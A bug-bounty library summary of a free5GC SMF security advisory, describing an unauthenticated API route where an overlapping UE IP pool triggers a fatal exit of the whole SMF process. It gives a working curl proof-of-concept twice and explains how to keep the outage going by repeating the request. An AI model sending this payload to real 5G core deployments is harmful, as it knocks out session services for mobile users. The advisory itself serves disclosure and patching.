# free5GC's SMF UPI POST /upi/v1/upNodesLinks exits the SMF process on overlapping UE pools (unauthenticated, reachable Fatalf)

Unauthenticated POST to free5GC SMF's UPI upNodesLinks with an overlapping UE IP pool hits Fatalf, killing the whole SMF process.

- Payout: Research
- Severity: high
- Program: free5GC SMF
- Found by: LinZiyuu
- Disclosed: 2026-05-08
- CVE: CVE-2026-44321
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-44qj-cghf-9p97
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-44qj-cghf-9p97
- Tags: area:devices domain:api domain:network impact:dos kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:dos vuln:misconfiguration

**Target:** SMF UPI management API (POST /upi/v1/upNodesLinks)
**Root cause:** The UPI route group is mounted without OAuth2 auth middleware, and the create/update handler feeds attacker JSON into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf on validation failures such as overlapping UE IP pools. Fatalf is os.Exit(1)-equivalent and bypasses Gin recovery.
**Steps:**
1. Reach SMF SBI endpoint, e.g. `http://10.100.200.6:8000` (no token needed).
2. Send unauthenticated POST with a new UPF whose pool overlaps the default UPF `10.60.0.0/16`: `curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks -H 'Content-Type: application/json' --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'`
3. Observe `curl: (52) Empty reply from server` as the process dies mid-request.
4. Confirm `docker ps -a` shows `smf Exited (1)` and logs contain `[FATA][SMF][Init] overlap cidr value between UPFs`.
5. Repeat after each restart, or use sibling Fatalf paths (invalid-pool, static-pool exclusion) to sustain the outage.
**How found:** Noticed the UPI route group lacked the OAuth2 middleware present on other SMF groups (same root cause as #887), then traced the create/update handler into UpNodesFromConfiguration() and identified Fatalf call sites reachable from attacker-controlled JSON — a stronger sink than the earlier Gin-recovered panic in #905.
**Exploitation:** Any off-path attacker who can reach SMF on the SBI sends one unauthenticated POST adding a UPF with an overlapping UE pool; the handler calls Fatalf, terminating the SMF process and dropping all SBI services (PDU-session establishment, UE policy) until restart. Repeating the request sustains the outage.
**Escalation:** Sibling Fatalf call sites (invalid-pool, static-pool exclusion) on the same unauthenticated handler allow the DoS to persist even if the overlap check alone is hardened.
**Insight:** When a management route group is mounted without the auth middleware used elsewhere, enumerate every request-time validation path it reaches: fail-fast calls like Fatalf/os.Exit on attacker-influenced input turn a missing-auth gap into a full process kill, unlike panics that Gin recovers.

## Proof of concept (copied exactly from the original report)

**Unauthenticated curl POST with overlapping UE pool**

```
curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
  -H 'Content-Type: application/json' \
  --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'
```